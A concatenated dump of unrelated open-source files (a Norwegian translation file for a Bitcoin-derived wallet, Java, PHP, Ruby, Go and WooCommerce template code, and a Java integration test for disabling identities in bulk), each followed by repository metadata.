Wallet locked, unable to create transaction!</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Error: system error: </source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Failed to listen on any port. Use -listen=0 if you want this.</source> <translation>Kunne ikke lytte på noen port. Bruk -listen=0 hvis det er dette du vil.</translation> </message> <message> <location line="+1"/> <source>Failed to read block info</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Failed to read block</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Failed to sync block index</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Failed to write block index</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Failed to write block info</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Failed to write block</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Failed to write file info</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Failed to write to coin database</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Failed to write transaction index</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Failed to write undo data</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Find peers using DNS lookup (default: 1 unless -connect)</source> <translation>Finn andre noder gjennom DNS-oppslag (standardverdi: 1 med mindre -connect er oppgit)</translation> </message> <message> <location line="+1"/> <source>Generate coins (default: 0)</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>How many blocks to check at startup (default: 288, 0 = all)</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>How thorough the block verification is (0-4, default: 3)</source> <translation type="unfinished"/> </message> <message> <location line="+19"/> <source>Not enough file descriptors available.</source> <translation type="unfinished"/> </message> <message> <location line="+8"/> <source>Rebuild block chain index from current blk000??.dat files</source> <translation>Gjenopprett blokkjedeindex fra blk000??.dat filer</translation> </message> <message> <location line="+16"/> <source>Set the number of threads to service RPC calls (default: 4)</source> <translation type="unfinished"/> </message> <message> <location line="+26"/> <source>Verifying blocks...</source> <translation>Verifiserer blokker...</translation> </message> <message> <location line="+1"/> <source>Verifying wallet...</source> <translation>Verifiserer lommebok...</translation> </message> <message> <location line="-69"/> <source>Imports blocks from external blk000??.dat file</source> <translation type="unfinished"/> </message> <message> <location line="-76"/> <source>Set the number of script verification threads (up to 16, 0 = auto, &lt;0 = leave that many cores free, default: 0)</source> <translation type="unfinished"/> </message> <message> <location line="+77"/> <source>Information</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Invalid -tor address: &apos;%s&apos;</source> <translation>Ugyldig -tor adresse: &apos;%s&apos;</translation> </message> <message> <location line="+1"/> <source>Invalid amount for -minrelaytxfee=&lt;amount&gt;: &apos;%s&apos;</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Invalid amount for -mintxfee=&lt;amount&gt;: &apos;%s&apos;</source> <translation type="unfinished"/> </message> <message> <location line="+8"/> <source>Maintain a full transaction index (default: 0)</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Maximum per-connection receive buffer, &lt;n&gt;*1000 bytes (default: 5000)</source> <translation>Maks mottaksbuffer per forbindelse, &lt;n&gt;*1000 bytes (standardverdi: 5000)</translation> </message> <message> <location line="+1"/> <source>Maximum per-connection send buffer, &lt;n&gt;*1000 bytes (default: 1000)</source> <translation>Maks sendebuffer per forbindelse, &lt;n&gt;*1000 bytes (standardverdi: 1000)</translation> </message> <message> <location line="+2"/> <source>Only accept block chain matching built-in checkpoints (default: 1)</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Only connect to nodes in network &lt;net&gt; (IPv4, IPv6 or Tor)</source> <translation>Koble kun til noder i nettverket &lt;nett&gt; (IPv4, IPv6 eller Tor)</translation> </message> <message> <location line="+2"/> <source>Output extra debugging information. Implies all other -debug* options</source> <translation>Skriv ekstra informasjon for feilsøk. Medfører at alle -debug* valg tas med</translation> </message> <message> <location line="+1"/> <source>Output extra network debugging information</source> <translation>Skriv ekstra informasjon for feilsøk av nettverk</translation> </message> <message> <location line="+2"/> <source>Prepend debug output with timestamp</source> <translation>Sett tidsstempel på debugmeldinger</translation> </message> <message> <location line="+5"/> <source>SSL options: (see the Podcoin Wiki for SSL setup instructions)</source> <translation>SSL valg: (se Podcoin Wiki for instruksjoner for oppsett av SSL)</translation> </message> <message> <location line="+1"/> <source>Select the version of socks proxy to use (4-5, default: 5)</source> <translation>Velg versjon av socks proxy (4-5, standardverdi 5)</translation> </message> <message> <location line="+3"/> <source>Send trace/debug info to console instead of debug.log file</source> <translation>Send spor/debug informasjon til konsollet istedenfor debug.log filen</translation> </message> <message> <location line="+1"/> <source>Send trace/debug info to debugger</source> <translation>Send spor/debug informasjon til debugger</translation> </message> <message> <location line="+5"/> <source>Set maximum block size in bytes (default: 250000)</source> <translation>Sett maks blokkstørrelse i bytes (standardverdi: 250000)</translation> </message> <message> <location line="+1"/> <source>Set minimum block size in bytes (default: 0)</source> <translation>Sett minimum blokkstørrelse i bytes (standardverdi: 0)</translation> </message> <message> <location line="+2"/> <source>Shrink debug.log file on client startup (default: 1 when no -debug)</source> <translation>Krymp debug.log filen når klienten starter (standardverdi: 1 hvis uten -debug)</translation> </message> <message> <location line="+1"/> <source>Signing transaction failed</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Specify connection timeout in milliseconds (default: 5000)</source> <translation>Angi tidsavbrudd for forbindelse i millisekunder (standardverdi: 5000)</translation> </message> <message> <location line="+4"/> <source>System error: </source> <translation type="unfinished"/> </message> <message> <location line="+4"/> <source>Transaction amount too small</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Transaction amounts must be positive</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Transaction too large</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>Use UPnP to map the listening port (default: 0)</source> <translation>Bruk UPnP for lytteport (standardverdi: 0)</translation> </message> <message> <location line="+1"/> <source>Use UPnP to map the listening port (default: 1 when listening)</source> <translation>Bruk UPnP for lytteport (standardverdi: 1 ved lytting)</translation> </message> <message> <location line="+1"/> <source>Use proxy to reach tor hidden services (default: same as -proxy)</source> <translation>Bruk en proxy for å nå skjulte tor tjenester (standardverdi: samme som -proxy)</translation> </message> <message> <location line="+2"/> <source>Username for JSON-RPC connections</source> <translation>Brukernavn for JSON-RPC forbindelser</translation> </message> <message> <location line="+4"/> <source>Warning</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Warning: This version is obsolete, upgrade required!</source> <translation>Advarsel: Denne versjonen er foreldet, oppgradering kreves!</translation> </message> <message> <location line="+1"/> <source>You need to rebuild the databases using -reindex to change -txindex</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>wallet.dat corrupt, salvage failed</source> <translation type="unfinished"/> </message> <message> <location line="-50"/> <source>Password for JSON-RPC connections</source> <translation>Passord for JSON-RPC forbindelser</translation> </message> <message> <location line="-67"/> <source>Allow JSON-RPC connections from specified IP address</source> <translation>Tillat JSON-RPC tilkoblinger fra angitt IP-adresse</translation> </message> <message> <location line="+76"/> <source>Send commands to node running on &lt;ip&gt; (default: 127.0.0.1)</source> <translation>Send kommandoer til node på &lt;ip&gt; (standardverdi: 127.0.0.1)</translation> </message> <message> <location line="-120"/> <source>Execute command when the best block changes (%s in cmd is replaced by block hash)</source> <translation>Eksekvér kommando når beste blokk endrer seg (%s i kommandoen erstattes med blokkens hash)</translation> </message> <message> <location line="+147"/> <source>Upgrade wallet to latest format</source> <translation>Oppgradér lommebok til nyeste format</translation> </message> <message> <location line="-21"/> <source>Set key pool size to &lt;n&gt; (default: 100)</source> <translation>Angi størrelse på nøkkel-lager til &lt;n&gt; (standardverdi: 100)</translation> </message> <message> <location line="-12"/> <source>Rescan the block chain for missing wallet transactions</source> <translation>Se gjennom blokk-kjeden etter manglende lommeboktransaksjoner</translation> </message> <message> <location line="+35"/> <source>Use OpenSSL (https) for JSON-RPC connections</source> <translation>Bruk OpenSSL (https) for JSON-RPC forbindelser</translation> </message> <message> <location line="-26"/> <source>Server certificate file (default: server.cert)</source> <translation>Servers sertifikat (standardverdi: server.cert)</translation> </message> <message> <location line="+1"/> <source>Server private key (default: server.pem)</source> <translation>Servers private nøkkel (standardverdi: server.pem)</translation> </message> <message> <location line="-151"/> <source>Acceptable ciphers (default: TLSv1+HIGH:!SSLv2:!aNULL:!eNULL:!AH:!3DES:@STRENGTH)</source> <translation>Akseptable krypteringsmetoder (standardverdi: TLSv1+HIGH:!SSLv2:!aNULL:!eNULL:!AH:!3DES:@STRENGTH)</translation> </message> <message> <location line="+165"/> <source>This help message</source> <translation>Denne hjelpemeldingen</translation> </message> <message> <location line="+6"/> <source>Unable to bind to %s on this computer (bind returned error %d, %s)</source> <translation>Kan ikke binde til %s på denne datamaskinen (bind returnerte feil %d, %s)</translation> </message> <message> <location line="-91"/> <source>Connect through socks proxy</source> <translation>Koble til gjennom socks proxy</translation> </message> <message> <location line="-10"/> <source>Allow DNS lookups for -addnode, -seednode and -connect</source> <translation>Tillat DNS oppslag for -addnode, -seednode og -connect</translation> </message> <message> <location line="+55"/> <source>Loading addresses...</source> <translation>Laster adresser...</translation> </message> <message> <location line="-35"/> <source>Error loading wallet.dat: Wallet corrupted</source> <translation>Feil ved lasting av wallet.dat: Lommeboken er skadet</translation> </message> <message> <location line="+1"/> <source>Error loading wallet.dat: Wallet requires newer version of Podcoin</source> <translation>Feil ved lasting av wallet.dat: Lommeboken krever en nyere versjon av Podcoin</translation> </message> <message> <location line="+93"/> <source>Wallet needed to be rewritten: restart Podcoin to complete</source> <translation>Lommeboken måtte skrives om: start Podcoin på nytt for å fullføre</translation> </message> <message> <location line="-95"/> <source>Error loading wallet.dat</source> <translation>Feil ved lasting av wallet.dat</translation> </message> <message> <location line="+28"/> <source>Invalid -proxy address: &apos;%s&apos;</source> <translation>Ugyldig -proxy adresse: &apos;%s&apos;</translation> </message> <message> <location line="+56"/> <source>Unknown network specified in -onlynet: &apos;%s&apos;</source> <translation>Ukjent nettverk angitt i -onlynet &apos;%s&apos;</translation> </message> <message> <location line="-1"/> <source>Unknown -socks proxy version requested: %i</source> <translation>Ukjent -socks proxy versjon angitt: %i</translation> </message> <message> <location line="-96"/> <source>Cannot resolve -bind address: &apos;%s&apos;</source> <translation>Kunne ikke slå opp -bind adresse: &apos;%s&apos;</translation> </message> <message> <location line="+1"/> <source>Cannot resolve -externalip address: &apos;%s&apos;</source> <translation>Kunne ikke slå opp -externalip adresse: &apos;%s&apos;</translation> </message> <message> <location line="+44"/> <source>Invalid amount for -paytxfee=&lt;amount&gt;: &apos;%s&apos;</source> <translation>Ugyldig beløp for -paytxfee=&lt;beløp&gt;: &apos;%s&apos;</translation> </message> <message> <location line="+1"/> <source>Invalid amount</source> <translation>Ugyldig beløp</translation> </message> <message> <location line="-6"/> <source>Insufficient funds</source> <translation>Utilstrekkelige midler</translation> </message> <message> <location line="+10"/> <source>Loading block index...</source> <translation>Laster blokkindeks...</translation> </message> <message> <location line="-57"/> <source>Add a node to connect to and attempt to keep the connection open</source> <translation>Legg til node for tilkobling og hold forbindelsen åpen</translation> </message> <message> <location line="-25"/> <source>Unable to bind to %s on this computer. Podcoin is probably already running.</source> <translation>Kan ikke binde til %s på denne datamaskinen. Sannsynligvis kjører Podcoin allerede.</translation> </message> <message> <location line="+64"/> <source>Fee per KB to add to transactions you send</source> <translation>Gebyr per KB for transaksjoner du sender</translation> </message> <message> <location line="+19"/> <source>Loading wallet...</source> <translation>Laster lommebok...</translation> </message> <message> <location line="-52"/> <source>Cannot downgrade wallet</source> <translation>Kan ikke nedgradere lommebok</translation> </message> <message> <location line="+3"/> <source>Cannot write default address</source> <translation>Kan ikke skrive standardadresse</translation> </message> <message> <location line="+64"/> <source>Rescanning...</source> <translation>Leser gjennom...</translation> </message> <message> <location line="-57"/> <source>Done loading</source> <translation>Ferdig med lasting</translation> </message> <message> <location line="+82"/> <source>To use the %s option</source> <translation>For å bruke %s opsjonen</translation> </message> <message> <location line="-74"/> <source>Error</source> <translation>Feil</translation> </message> <message> <location line="-31"/> <source>You must set rpcpassword=&lt;password&gt; in the configuration file: %s If the file does not exist, create it with owner-readable-only file permissions.</source> <translation>Du må sette rpcpassword=&lt;passord&gt; i konfigurasjonsfilen: %s Hvis filen ikke finnes, opprett den med leserettighet kun for eier av filen.</translation> </message> </context> </TS>
mgrigajtis/podcoin
src/qt/locale/bitcoin_nb.ts
TypeScript
mit
113,153
package hugs.support; import hugs.*; public class ScoreParameter extends Parameter { public Score value; public ScoreParameter (String name) { this(name,null);} public ScoreParameter (String name, Score value) { super(name); this.value = value; } public Object getValue () {return value;} public Parameter copy () { return new ScoreParameter(name, (value == null ? null : value.copy())); } }
guwek/HuGS
hugs/support/ScoreParameter.java
Java
mit
451
package com.riteshakya.subs.views.screens.login; import android.content.Intent; import android.support.v4.app.FragmentActivity; import com.google.android.gms.common.api.GoogleApiClient; import com.riteshakya.subs.mvp.FlowListener; import com.riteshakya.subs.mvp.IPresenter; import com.riteshakya.subs.mvp.IView; import com.riteshakya.subs.mvp.FlowListener; import com.riteshakya.subs.mvp.IPresenter; import com.riteshakya.subs.mvp.IView; /** * @author Ritesh Shakya */ public interface LoginPresenter extends IPresenter { void setView(LoginView loginView); void initialize(); void validateResult(Intent data); GoogleApiClient getGoogleApiClient(); interface LoginFlowListener extends FlowListener { void openMainActivity(); } interface LoginView extends IView { FragmentActivity getActivity(); } }
riteshakya037/Subs
presentation/src/main/java/com/riteshakya/subs/views/screens/login/LoginPresenter.java
Java
mit
859
/* * Copyright (C) 2013 Square, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.hyh.common.picasso; import android.net.ConnectivityManager; import android.net.NetworkInfo; import android.telephony.TelephonyManager; import java.util.concurrent.Future; import java.util.concurrent.FutureTask; import java.util.concurrent.PriorityBlockingQueue; import java.util.concurrent.ThreadPoolExecutor; import java.util.concurrent.TimeUnit; /** * The default {@link java.util.concurrent.ExecutorService} used for new {@link NativePicasso} instances. * <p> * Exists as a custom type so that we can differentiate the use of defaults versus a user-supplied * instance. */ class PicassoExecutorService extends ThreadPoolExecutor { private static final int DEFAULT_THREAD_COUNT = 3; PicassoExecutorService() { super(DEFAULT_THREAD_COUNT, DEFAULT_THREAD_COUNT, 0, TimeUnit.MILLISECONDS, new PriorityBlockingQueue<Runnable>(), new Utils.PicassoThreadFactory()); } void adjustThreadCount(NetworkInfo info) { if (info == null || !info.isConnectedOrConnecting()) { setThreadCount(DEFAULT_THREAD_COUNT); return; } switch (info.getType()) { case ConnectivityManager.TYPE_WIFI: case ConnectivityManager.TYPE_WIMAX: case ConnectivityManager.TYPE_ETHERNET: setThreadCount(4); break; case ConnectivityManager.TYPE_MOBILE: switch (info.getSubtype()) { case TelephonyManager.NETWORK_TYPE_LTE: // 4G case TelephonyManager.NETWORK_TYPE_HSPAP: case TelephonyManager.NETWORK_TYPE_EHRPD: setThreadCount(3); break; case TelephonyManager.NETWORK_TYPE_UMTS: // 3G case TelephonyManager.NETWORK_TYPE_CDMA: case TelephonyManager.NETWORK_TYPE_EVDO_0: case TelephonyManager.NETWORK_TYPE_EVDO_A: case TelephonyManager.NETWORK_TYPE_EVDO_B: setThreadCount(2); break; case TelephonyManager.NETWORK_TYPE_GPRS: // 2G case TelephonyManager.NETWORK_TYPE_EDGE: setThreadCount(1); break; default: setThreadCount(DEFAULT_THREAD_COUNT); } break; default: setThreadCount(DEFAULT_THREAD_COUNT); } } private void setThreadCount(int threadCount) { setCorePoolSize(threadCount); setMaximumPoolSize(threadCount); } @Override public Future<?> submit(Runnable task) { PicassoFutureTask ftask = new PicassoFutureTask((BitmapHunter) task); execute(ftask); return ftask; } private static final class PicassoFutureTask extends FutureTask<BitmapHunter> implements Comparable<PicassoFutureTask> { private final BitmapHunter hunter; public PicassoFutureTask(BitmapHunter hunter) { super(hunter, null); this.hunter = hunter; } @Override public int compareTo(PicassoFutureTask other) { NativePicasso.Priority p1 = hunter.getPriority(); NativePicasso.Priority p2 = other.hunter.getPriority(); // High-priority requests are "lesser" so they are sorted to the front. // Equal priorities are sorted by sequence number to provide FIFO ordering. return (p1 == p2 ? hunter.sequence - other.hunter.sequence : p2.ordinal() - p1.ordinal()); } } }
EricHyh/FileDownloader
lib-common/src/main/java/com/hyh/common/picasso/PicassoExecutorService.java
Java
mit
4,271
<?php namespace Brasa\RecursoHumanoBundle\Form\Type; use Symfony\Component\Form\AbstractType; use Symfony\Component\Form\FormBuilderInterface; use Symfony\Component\Form\Extension\Core\Type\TextType; use Symfony\Component\Form\Extension\Core\Type\SubmitType; class RhuAcreditacionTipoType extends AbstractType { /** * @param FormBuilderInterface $builder * @param array $options */ public function buildForm(FormBuilderInterface $builder, array $options) { $builder ->add('codigo', TextType::class, array('required' => true)) ->add('nombre', TextType::class, array('required' => true)) ->add('cargo', TextType::class, array('required' => true)) ->add('cargoCodigo', TextType::class, array('required' => true)) ->add('guardar', SubmitType::class, array('label' => 'Guardar')); } public function getBlockPrefix() { return 'form'; } }
wariox3/brasa
src/Brasa/RecursoHumanoBundle/Form/Type/RhuAcreditacionTipoType.php
PHP
mit
959
<?php namespace Emayk\Ics\Repo\Taxtype; /** * Copyright (C) 2013 Emay Komarudin * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * @author Emay Komarudin **/ interface TaxtypeInterface { /** * Menampilkan Daftar Resource * * @return Response */ public function all(); /** * Menyimpan Resource Baru * * @return Response */ public function store(); /** * Menampilkan Form New * * @return Response */ public function create(); /** * Menampilkan Resource * * @param int $id * @return Response */ public function show($id); /** * Menampilkan Data Untuk di edit * * @param int $id * @return Response */ public function edit($id); /** * Update Resource Tertentu dari Storage * * @param int $id * @return Response */ public function update($id); /** * Menghapus Spesifikasi Resource dari Storage * * @param int $id * @return Response */ public function delete($id); /** * Mencari Record berdasarkan Primary key * * @param int $id * @return Response */ public function find($id); /** * Remove from Storage * */ public function destroy($id); }
emayk/ics
src/Emayk/Ics/Repo/Taxtype/TaxtypeInterface.php
PHP
mit
1,765
module SimpleHL7 VERSION = "1.0.2" end
alivecor/simple_hl7
lib/simple_hl7/version.rb
Ruby
mit
41
class CreateQuestionsTags < ActiveRecord::Migration def change create_table :questions_tags, id: false do |t| t.references :question, index: true t.references :tag, index: true end end end
leemour/underflow
db/migrate/20140429172646_create_questions_tags.rb
Ruby
mit
213
<?php /** * Thankyou page * * This template can be overridden by copying it to yourtheme/woocommerce/checkout/thankyou.php. * * HOWEVER, on occasion WooCommerce will need to update template files and you * (the theme developer) will need to copy the new files to your theme to * maintain compatibility. We try to do this as little as possible, but it does * happen. When this occurs the version of the template file will be bumped and * the readme will list any important changes. * * @see https://docs.woocommerce.com/document/template-structure/ * @author WooThemes * @package WooCommerce/Templates * @version 3.2.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; } ?> <div class="woocommerce-order"> <?php if ( $order ) : ?> <?php if ( $order->has_status( 'failed' ) ) : ?> <p class="woocommerce-notice woocommerce-notice--error woocommerce-thankyou-order-failed"><?php _e( 'Unfortunately your order cannot be processed as the originating bank/merchant has declined your transaction. Please attempt your purchase again.', 'woocommerce' ); ?></p> <p class="woocommerce-notice woocommerce-notice--error woocommerce-thankyou-order-failed-actions"> <a href="<?php echo esc_url( $order->get_checkout_payment_url() ); ?>" class="button pay"><?php _e( 'Pay', 'woocommerce' ) ?></a> <?php if ( is_user_logged_in() ) : ?> <a href="<?php echo esc_url( wc_get_page_permalink( 'myaccount' ) ); ?>" class="button pay"><?php _e( 'My account', 'woocommerce' ); ?></a> <?php endif; ?> </p> <?php else : ?> <p class="woocommerce-notice woocommerce-notice--success woocommerce-thankyou-order-received"><?php echo apply_filters( 'woocommerce_thankyou_order_received_text', __( 'Thank you. Your order has been received.</p><p>If you purchased a downloadable product, you can find it in <a href="/my-account/">My Account</a>.</p>', 'woocommerce' ), $order ); ?></p> <ul class="woocommerce-order-overview woocommerce-thankyou-order-details order_details"> <li class="woocommerce-order-overview__order order"> <?php _e( 'Order number:', 'woocommerce' ); ?> <strong><?php echo $order->get_order_number(); ?></strong> </li> <li class="woocommerce-order-overview__date date"> <?php _e( 'Date:', 'woocommerce' ); ?> <strong><?php echo wc_format_datetime( $order->get_date_created() ); ?></strong> </li> <?php if ( is_user_logged_in() && $order->get_user_id() === get_current_user_id() && $order->get_billing_email() ) : ?> <li class="woocommerce-order-overview__email email"> <?php _e( 'Email:', 'woocommerce' ); ?> <strong><?php echo $order->get_billing_email(); ?></strong> </li> <?php endif; ?> <li class="woocommerce-order-overview__total total"> <?php _e( 'Total:', 'woocommerce' ); ?> <strong><?php echo $order->get_formatted_order_total(); ?></strong> </li> <?php if ( $order->get_payment_method_title() ) : ?> <li class="woocommerce-order-overview__payment-method method"> <?php _e( 'Payment method:', 'woocommerce' ); ?> <strong><?php echo wp_kses_post( $order->get_payment_method_title() ); ?></strong> </li> <?php endif; ?> </ul> <?php endif; ?> <?php do_action( 'woocommerce_thankyou_' . $order->get_payment_method(), $order->get_id() ); ?> <?php do_action( 'woocommerce_thankyou', $order->get_id() ); ?> <?php else : ?> <p class="woocommerce-notice woocommerce-notice--success woocommerce-thankyou-order-received"><?php echo apply_filters( 'woocommerce_thankyou_order_received_text', __( 'Thank you. Your order has been received.', 'woocommerce' ), null ); ?></p> <?php endif; ?> </div>
AustinWinnett/jenny-b-photo
woocommerce/checkout/thankyou.php
PHP
mit
3,682
/*Package websocket implements Websocket transport Websocket transport implements an HTTP(S) compliable, surveillance proof transport method with plausible deniability. */ package websocket //go:generate go run v2ray.com/core/common/errors/errorgen
v2ray/v2ray-core
transport/internet/websocket/ws.go
GO
mit
251
package eu.bcvsolutions.idm.core.bulk.action.impl; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertTrue; import static org.junit.Assert.fail; import java.util.List; import java.util.Set; import java.util.UUID; import org.junit.After; import org.junit.Before; import org.junit.Test; import org.springframework.beans.factory.annotation.Autowired; import com.google.common.collect.Sets; import eu.bcvsolutions.idm.core.api.bulk.action.dto.IdmBulkActionDto; import eu.bcvsolutions.idm.core.api.domain.IdentityState; import eu.bcvsolutions.idm.core.api.dto.IdmIdentityDto; import eu.bcvsolutions.idm.core.api.dto.IdmRoleDto; import eu.bcvsolutions.idm.core.api.dto.filter.IdmIdentityFilter; import eu.bcvsolutions.idm.core.api.exception.ForbiddenEntityException; import eu.bcvsolutions.idm.core.api.service.IdmIdentityService; import eu.bcvsolutions.idm.core.model.domain.CoreGroupPermission; import eu.bcvsolutions.idm.core.model.entity.IdmIdentity; import eu.bcvsolutions.idm.core.notification.api.dto.IdmNotificationLogDto; import eu.bcvsolutions.idm.core.notification.api.dto.filter.IdmNotificationFilter; import eu.bcvsolutions.idm.core.notification.api.service.IdmNotificationLogService; import eu.bcvsolutions.idm.core.notification.entity.IdmEmailLog; import eu.bcvsolutions.idm.core.scheduler.api.dto.IdmLongRunningTaskDto; import eu.bcvsolutions.idm.core.scheduler.entity.IdmLongRunningTask; import eu.bcvsolutions.idm.core.security.api.domain.IdentityBasePermission; import eu.bcvsolutions.idm.core.security.api.domain.IdmBasePermission; import eu.bcvsolutions.idm.core.security.evaluator.task.SelfLongRunningTaskEvaluator; import eu.bcvsolutions.idm.test.api.AbstractBulkActionTest; /** * Integration test for {@link IdentityDisableBulkAction} * * @author Ondrej Kopr <kopr@xyxy.cz> * */ public class IdentityDisableBulkActionTest extends AbstractBulkActionTest { @Autowired private IdmIdentityService identityService; @Autowired private IdmNotificationLogService notificationLogService; private IdmIdentityDto loginIdentity; @Before public void login() { loginIdentity = this.createUserWithAuthorities(IdentityBasePermission.MANUALLYDISABLE, IdmBasePermission.READ); loginAsNoAdmin(loginIdentity.getUsername()); } @After public void logout() { super.logout(); } @Test public void processBulkActionByIds() { List<IdmIdentityDto> identities = this.createIdentities(5); for (IdmIdentityDto identity : identities) { assertTrue(identity.getState() != IdentityState.DISABLED_MANUALLY); } IdmBulkActionDto bulkAction = this.findBulkAction(IdmIdentity.class, IdentityDisableBulkAction.NAME); Set<UUID> ids = this.getIdFromList(identities); bulkAction.setIdentifiers(ids); IdmBulkActionDto processAction = bulkActionManager.processAction(bulkAction); checkResultLrt(processAction, 5l, null, null); for (UUID id : ids) { IdmIdentityDto identityDto = identityService.get(id); assertNotNull(identityDto); assertTrue(identityDto.getState() == IdentityState.DISABLED_MANUALLY); } } @Test public void processBulkActionByFilter() { String testFirstName = "bulkActionFirstName" + System.currentTimeMillis(); List<IdmIdentityDto> identities = this.createIdentities(5); for (IdmIdentityDto identity : identities) { identity.setFirstName(testFirstName); identity = identityService.save(identity); assertTrue(identity.getState() != IdentityState.DISABLED_MANUALLY); } IdmIdentityFilter filter = new IdmIdentityFilter(); filter.setFirstName(testFirstName); List<IdmIdentityDto> checkIdentities = identityService.find(filter, null).getContent(); assertEquals(5, checkIdentities.size()); IdmBulkActionDto bulkAction = this.findBulkAction(IdmIdentity.class, IdentityDisableBulkAction.NAME); bulkAction.setTransformedFilter(filter); bulkAction.setFilter(toMap(filter)); IdmBulkActionDto processAction = bulkActionManager.processAction(bulkAction); checkResultLrt(processAction, 5l, null, null); for (IdmIdentityDto identity : identities) { IdmIdentityDto dto = identityService.get(identity.getId()); assertNotNull(dto); assertTrue(dto.getState() == IdentityState.DISABLED_MANUALLY); } } @Test public void processBulkActionByFilterWithRemove() { String testLastName = "bulkActionLastName" + System.currentTimeMillis(); List<IdmIdentityDto> identities = this.createIdentities(5); IdmIdentityDto removedIdentity = identities.get(0); IdmIdentityDto removedIdentity2 = identities.get(1); for (IdmIdentityDto identity : identities) { identity.setLastName(testLastName); identity = identityService.save(identity); assertTrue(identity.getState() != IdentityState.DISABLED_MANUALLY); } IdmIdentityFilter filter = new IdmIdentityFilter(); filter.setLastName(testLastName); IdmBulkActionDto bulkAction = this.findBulkAction(IdmIdentity.class, IdentityDisableBulkAction.NAME); bulkAction.setTransformedFilter(filter); bulkAction.setFilter(toMap(filter)); bulkAction.setRemoveIdentifiers(Sets.newHashSet(removedIdentity.getId(), removedIdentity2.getId())); IdmBulkActionDto processAction = bulkActionManager.processAction(bulkAction); checkResultLrt(processAction, 3l, null, null); for (IdmIdentityDto identity : identities) { IdmIdentityDto dto = identityService.get(identity.getId()); assertNotNull(dto); if (dto.getId().equals(removedIdentity.getId()) || dto.getId().equals(removedIdentity2.getId())) { assertTrue(dto.getState() != IdentityState.DISABLED_MANUALLY); continue; } assertTrue(dto.getState() == IdentityState.DISABLED_MANUALLY); } } @Test public void processBulkActionWithoutPermission() { // user hasn't permission for update identity IdmIdentityDto adminIdentity = this.createUserWithAuthorities(IdmBasePermission.READ); loginAsNoAdmin(adminIdentity.getUsername()); List<IdmIdentityDto> identities = this.createIdentities(5); for (IdmIdentityDto identity : identities) { assertTrue(identity.getState() != IdentityState.DISABLED_MANUALLY); } IdmBulkActionDto bulkAction = this.findBulkAction(IdmIdentity.class, IdentityDisableBulkAction.NAME); Set<UUID> ids = this.getIdFromList(identities); bulkAction.setIdentifiers(this.getIdFromList(identities)); IdmBulkActionDto processAction = bulkActionManager.processAction(bulkAction); checkResultLrt(processAction, 0l, 0l, 5l); for (UUID id : ids) { IdmIdentityDto identityDto = identityService.get(id); assertNotNull(identityDto); assertTrue(identityDto.getState() != IdentityState.DISABLED_MANUALLY); } } @Test public void checkNotification() { List<IdmIdentityDto> identities = this.createIdentities(5); IdmBulkActionDto bulkAction = this.findBulkAction(IdmIdentity.class, IdentityDisableBulkAction.NAME); Set<UUID> ids = this.getIdFromList(identities); bulkAction.setIdentifiers(ids); IdmBulkActionDto processAction = bulkActionManager.processAction(bulkAction); checkResultLrt(processAction, 5l, null, null); IdmNotificationFilter filter = new IdmNotificationFilter(); filter.setRecipient(loginIdentity.getUsername()); filter.setNotificationType(IdmEmailLog.class); List<IdmNotificationLogDto> notifications = notificationLogService.find(filter, null).getContent(); assertEquals(1, notifications.size()); IdmNotificationLogDto notificationLogDto = notifications.get(0); assertEquals(IdmEmailLog.NOTIFICATION_TYPE, notificationLogDto.getType()); assertTrue(notificationLogDto.getMessage().getHtmlMessage().contains(bulkAction.getName())); } @Test public void checkEvaluatorForLrt() { IdmIdentityDto identity = getHelper().createIdentity(); IdmRoleDto createRole = getHelper().createRole(); getHelper().createBasePolicy(createRole.getId(), CoreGroupPermission.IDENTITY, IdmIdentity.class, IdmBasePermission.READ, IdentityBasePermission.MANUALLYDISABLE); getHelper().createIdentityRole(identity, createRole); loginAsNoAdmin(identity.getUsername()); IdmBulkActionDto bulkAction = this.findBulkAction(IdmIdentity.class, IdentityDisableBulkAction.NAME); Set<UUID> ids = this.getIdFromList(this.createIdentities(5)); bulkAction.setIdentifiers(ids); IdmBulkActionDto processAction = bulkActionManager.processAction(bulkAction); IdmLongRunningTaskDto lrt = checkResultLrt(processAction, 5l, null, null); try { longRunningTaskService.get(lrt.getId(), IdmBasePermission.READ); fail("User hasn't permission for read the long running task."); } catch (ForbiddenEntityException ex) { assertTrue(ex.getMessage().contains(lrt.getId().toString())); 